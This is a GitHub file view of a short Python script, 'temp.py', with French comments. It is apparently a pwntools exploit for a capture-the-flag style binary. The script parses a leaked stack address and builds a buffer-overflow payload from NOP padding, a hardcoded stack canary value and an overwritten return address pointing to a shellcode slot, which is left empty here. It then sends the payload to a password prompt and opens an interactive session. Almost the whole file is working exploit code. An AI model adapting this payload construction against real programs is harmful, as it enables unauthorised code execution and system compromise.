-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathtemp.py
More file actions
29 lines (26 loc) · 916 Bytes
/
Copy pathtemp.py
File metadata and controls
29 lines (26 loc) · 916 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# aParsing de l'adresse du buffer divulguée
# io.recvuntil(b"at ")
raw = io.recvuntil(b"\n\n", drop=True)
m = re.search(rb"0x[0-9a-fA-F]+", raw)
leak_addr = int(m.group(0), 16)
# Dimensions et offsets relatifs à leak_addr (en bytes)
canary_offset = 15
canary_size = 8
saved_rip_offset = 39
# Adresses utiles
saved_rip_addr = leak_addr + saved_rip_offset
shellcode_addr = saved_rip_addr + 8
# Payload
pad_before_canary = b"\x90" * canary_offset
canary = p64(int("DEADBEEFDEADBEEF", 16), endianness="little")
pad_after_canary = b"\x90" * (saved_rip_offset - (canary_offset + canary_size))
effective_return_addr = p64(shellcode_addr, endianness="little")
shellcode = b""
print(f"effective_return_addr: {effective_return_addr}\n")
payload = (
pad_before_canary + canary + pad_after_canary + effective_return_addr + shellcode
)
print(payload)
# Injection
io.sendlineafter(b"passe:\n", payload)
io.interactive()